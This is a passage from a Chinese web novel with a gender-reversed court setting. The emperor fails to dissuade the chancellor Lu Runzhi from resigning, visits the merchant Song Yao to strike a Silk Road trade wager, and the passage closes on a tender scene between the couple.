铁了心的,“润之啊,还记得你当初殿试时,朕问你为官的初衷,你是如何回答的吗?” 皇帝打出了感情牌。 陆润之默然。 皇帝缓缓道,语重心长,“你当时坚定地说为官一任,造福四方。” 陆润之垂着眼睛,神色不曾有变化,“臣无愧于陛下,无愧于天下。” “是,你已经做到。”皇帝的目光落在他身上,叹了一口气,“但是,润之啊,你真的舍得放手吗,如今这朝廷看似风平浪静,实则暗涛汹涌,有多少个臣子是因为你的存在才不敢放肆,若你走了,该怎么办?” 这次,陆润之犹豫了一下,才道:“陛下是明君,臣相信陛下可以妥善处理。” 皇帝没有放过他脸上一丝一毫表情,见终于撬动他的情绪,趁机接着道:“据朕所知,陆清早已归隐,如今在外游山玩水,身边已是有人照顾,爱卿此番辞官,可另有难言之隐?” 陆润之矢口否认,连尊称都忘了,“并没有。” “是吗?”皇帝的语气忽然变得莫测,猝不及防道:“难道不是因为那宋氏之女?” 陆润之猛地抬头,言辞恳切,“陛下,辞官是臣的个人打算,与其他人无关,实在是臣身体抱恙,不能再为陛下尽犬马之劳。” 陆润之跟随皇帝多年,直到她方才说出那样的话,便是有迁怒的想法。 皇帝虚虚扶了扶他的手,语气重新变得温和,“朕只是随口说说,润之不必太过在意。”她叹了一口气,“朕知道你的想法了,你容朕想想,你也再下去仔细考虑考虑。” 陆润之看着皇帝,还想再说什么,皇帝却挥了挥手,面露疲惫,“朕今日乏了,你下去吧。” 陆润之默了下,随后道:“臣告退。” 皇帝没批准他的辞官。 陆润之出门便碰到同来面圣的礼部尚书,礼部尚书微微颔首。 礼部尚书前来与皇帝汇报科考事宜,汇报结束以后,皇帝忍不住大吐苦水,向她说起陆润之坚持辞官的事情。 礼部尚书向来是个兢兢业业,为皇帝排忧解难的好臣子,虽然她当初极力反对陆润之一介男子入朝为官,不过后来却对陆润之心服口服,如今听闻皇帝为此事发愁,同样也跟着忧愁了起来,她虽不想承认,但是也觉得陆润之辞官,是朝廷的一大损失。 “朕原以为他坐到了如今这个位置,早已摒弃了儿女情长,谁料竟仍是个痴情人。”皇帝的语气颇有些恨铁不成钢。 礼部尚书道:“陛下不妨赐婚于陆润之与那宋氏之女,成全了丞相。” 皇帝道:“不可,那宋氏之女身份低微,且坐拥巨大财富。” 礼部尚书明白皇帝的忧心,哪怕臣子再忠心,将来的事情谁也说不准,“陛下若想留丞相在朝中,何不设一个虚职,诸如’太师‘亦或’太傅‘,位极人臣,既享尊荣,却不涉实权,再恩准丞相与那宋氏之女的亲事,如此能留丞相在朝中,亦可安陛下之心。” 礼部尚书所言,皇帝并非没有考虑过,没有向陆润之提起,只是仍有顾虑,她思索片刻,挥了挥手,“爱卿所言,朕会考虑。” 礼部尚书拱手作揖,退下。 陆润之照常上朝了几日,曾在奏折中提起辞官的事情,皇帝只当做没看见,便又正式递了辞官的折子,表明自己确实不想干了。 皇帝见留他不住,便敲定了主意。 这日,皇帝微服私访,带了一位侍从,径直来到宋瑶的店铺。 一进门,掌柜便识得她虽衣着低调,那料子却是顶好的,且周身气质华贵,便知她是朝中贵人,态度很恭敬。 皇帝今日带着目的前来,也不拐弯抹角,“宋瑶在吗?” 她们老板每日所去店铺没有定数,这位贵人定是事前打听过的,掌柜的不敢怠慢,恭敬道:“这位女君请稍后,我这就去请宋老板过来。” “找我的?”宋瑶有些讶异。 掌柜的:“对,估计是朝中哪位贵人,我瞧着是没见过的,看不出她来找您是做什么的。” 宋瑶起身,“带我去看看。” 店铺内来来往往的人络绎不绝。 宋瑶一眼就看到了司马怀柔,心下已经作出了判断,前来找她的就是当今的皇帝,只因她身上穿的料子是专贡皇宫的越绫,加之她周身属于上位者的气势太过明显,目光扫过来的时候,带着下意识的审视和威压,这种熟悉眼神陆润之看别人时会出现,只是没有她这么有压迫感。 “不知这位女君想见我,是有何要事?”宋瑶笑着上前,语气如常,与对待其他顾客并无不同之处。 皇帝从宋瑶出现的那刻就注意到了她,她一直觉得自己的皮囊算是女子中不错的,其她皇女都比不过她,如今见了宋瑶,才觉得女子也可以生得这么好看,应该是没有认出她的身份,态度落落大方,笑起来的时候眼眸自带温柔,让人觉得如沐春风,也难怪将当朝丞相大人迷得团团转。 呵。 皇帝在心里冷笑一声,决定今天不给宋瑶好脸色。 “你就是宋瑶?”皇帝压低了声音,眯了眯眼睛。 宋瑶能察觉到皇帝陛下的心情忽然变差,但依旧面不改色,“正是。” 皇帝往里走,周身气势不加掩饰,直接吩咐道:“找个能说话的地方,过来。” 掌柜的见状,看了一眼宋瑶,眼神充满担忧,来者不善啊。 宋瑶给了她一个眼神,让她放心。 宋瑶带着皇帝来到了后院,寻了一处安静的地方,下人恭敬地上了茶。 皇帝慢悠悠地喝了一口茶,瞧着宋瑶气定神闲的模样,倒是觉得她与一般商人不同,够沉得住气,她放下茶杯,摆明了身份,“宋瑶,你可知朕来找你是为了什么?” 宋瑶顿了一下,表情没有丝毫意外,她起身,恭恭敬敬行了一礼,“草民宋瑶,见过陛下。” 不卑不亢,语气沉稳。 皇帝倒是多看了她一眼,“起来坐吧,朕本是微服私访,不必拘礼。” 宋瑶起来,在心里腹诽,若是不必拘礼,方才就该说的,这不是想给她一个下马威。 “陆润之为了你辞官,这事你是否知道?”皇帝开门见山,不想与宋瑶过多废话。 宋瑶大致猜到,皇帝今日前来所谓何事,多半是不放心她与陆润之在一起,想要从她这里下手,让陆润之留在朝中,又让自己的皇帝之位坐的安稳。 宋瑶笑了笑,“润之辞官之事,我的确知道,只是说为了草民却不合适。” 皇帝冷笑一声,“难道不是你逼着他辞官?” 哪个女人希望自己的夫郎地位比自己高,皇帝理所当然地认为是宋瑶逼着陆润之辞官。 宋瑶摇了摇头,“陛下可知,当年润之决定去做官,是草民赶他去的。” 皇帝皱起眉头,当年陆润之的确拒绝了她的提议后,去而复返,本以为他是想明白才回来的,而且他从未与任何人提起过他与宋瑶的事。 宋瑶接着道:“草民原本以为他去做官,圆了自己的梦想,会很开心,后来再见到他,只觉得他将自己折腾得形销骨立,过得并不开心。后来草民也在反思自己,是否是将自己的意愿强加到了润之身上,他是个独立的个体,有自己的选择权。” 皇帝一愣,“即使他选择了你,依旧是舍不得朝堂的。” 宋瑶笑道:“选择总是有得有失的,只是权衡最想要的是什么。” 她看得很是通透。 皇帝默然,果真是个通透的女子,此事她倒是能理解陆润之为何如此了,宋瑶的确值得。 “润之为你牺牲如此多,如今有的两全其美的办法,就看你愿不愿意为她做出让步了。”皇帝沉了沉声音。 宋瑶看向她,“陛下请讲。” …… 隔着一池荷花,掌柜瞧着老板与那位之间的氛围逐渐变得剑拔弩张,忽地,那位贵人一拍桌子,大声说了句“放肆”,那声音振聋发聩,隔着 莲池,掌柜的吓得都要跪下了,而老板则不慌不忙地作揖…… 看的掌柜心里一咯噔,老板为人处世,向来面面俱到,到底说了什么,让气氛这么紧张。 不过好在最后两人之间的氛围逐渐缓和,那位贵人的神态也由眉头紧皱,逐渐舒展,最后开怀大笑。 最后两人相谈甚欢,宋老板亲自送皇帝出门。 临走前,皇帝拍了拍宋瑶的肩膀,哈哈大笑,“我曾想丞相为何独独对你念念不忘,现在倒是我狭隘了,若是将丞相交给你,我也放心了,宋瑶,希望你说到做到,我拭目以待。” 说罢,皇帝便乘了马车,扬长而去。 掌柜的从始至终一头雾水,“老板,您答应那位贵人什么了?” 宋瑶笑笑,叹了口气,“没什么,签了个卖身契而已。” 掌柜的:? 老板你是不知道自己身价多少是吗,这卖身契能随随便便签吗? 掌柜的是个机灵的,在皇帝召见宋瑶时,便察觉到一丝不同寻常,差人悄悄递了信给陆润之。 皇帝走后,陆润之才匆匆赶到,见到宋瑶完好无损,才松了口气。 宋瑶给他擦了擦额头上的薄汗,笑道:“怎么这么着急,她又不会吃了我。” 陆润之依旧在后怕,宋瑶还说出这种话,她似乎对皇权没什么认知,“陛下有没有为难你?” 宋瑶拉着他坐下,给他倒了杯茶,“喝口水歇歇,没什么事,你别担心。” 陆润之不肯,只做地望着她的眼睛,“你答应她什么了?” 宋瑶也没打算瞒着他,捏了捏他的手,“是皇帝答应我,给宋氏开设丝绸之路的特权,享有关税减免、驿站优先使用权,并可挂皇商称号。” 如此丰厚的条件,就相当于宋氏布行上面的人是朝廷了。 对待商人,哪有这么好的事情,条件可是无比严苛。 陆润之几乎是蹙起眉头,他是知道皇帝的性子的,“条件呢?” 宋瑶笑道:“条件便是在三年之内,依靠丝绸之路完成与西域丝绸贸易一千万两白银,并且在龟兹、撒马尔罕设立分号,且利润四层归朝廷所有,若未完成,宋氏布行便归朝廷所有。” 大致意思便是宋瑶要在不精通丝绸生意以及西域市场的前提下,完成丝绸出口巨额贸易,并且在海外打响名声,如果没有完成,宋瑶就由一介富商变成朝廷的打工仔了。 陆润之听完,倒吸一口冷气,一千万两白银相当于朝廷一年丝绸税收的三层,三年期间,丝绸之路可能刚刚成熟,怎么可能,怎么看都是朝廷获利的局面。 “这分明是不合理的条款,你不许答应。”陆润之道。 宋瑶笑他真是傻了,她已经答应了,怎么可能跟如今的皇帝反悔。 陆润之气恼,锤了一下她的肩膀,“你怎么还笑得出来,是不是傻了,这不要脸的条款怎么能答应!” 怎么那么精明的人,会答应这种不要脸的条件。 司马怀柔也是够无耻的。 陆润之第一次这么生气,第一次觉得司马怀柔这么不要脸,哪怕她是当今圣上。 他比谁都清楚,宋瑶喜欢无拘无束的生活,不喜欢别人强加在她身上的条条框框,如果没有完成,以后宋氏布行就纳入了国库,若是宋家二老知道了,肯定要气晕过去。 宋瑶第一次瞧他这么气恼的模样,连“不要脸”二字都从他口中说出来了,便觉得新奇又可爱,忍不住笑开来,将他揽入怀中,笑弯了眼睛,“夫郎这是在担心咱们家业要被为妻败光了吗?” 陆润之愣了下,随即羞红了耳朵,将脸埋入她的怀中,掐了一把她的腰肢,声音闷闷的,“以后要是被你败光了,我们一家老少可就要喝西北风了。” 宋瑶眸中的笑意愈发扩大,玩笑道:“那就劳烦润之辛苦一下,去当太傅养家糊口了。” 陆润之的手顿住,随即环住了她的腰,“我不,你也不许去拿宋氏跟司马怀柔赌。” 宋瑶笑,“可是已经答应了,怎么办?” 陆润之从她怀里抬起脸,眼尾还带着方才的薄红,显得明艳动人,语气却有些凶,“我帮你推掉。” 宋瑶挑眉,“这么厉害?” “……” 听她这逗猫的语气,陆润之气恼,“我认真的。” 宋瑶凑到他耳边,温热的气息扑洒他颈侧,话语意味不明,“为妻也是认真的,一切都已经安置妥当,你什么时候搬来?” 之前两人住的新房他早已收拾出来,却是宋瑶先搬进去,迟迟不见他搬进,临到关头,却是退缩。 “……” 宋瑶:“……说话。” 他软声,有些慌乱。 “明、明晚吧……” 宋瑶:“明日复明日?” 陆润之:“唔……那今、今晚吧……”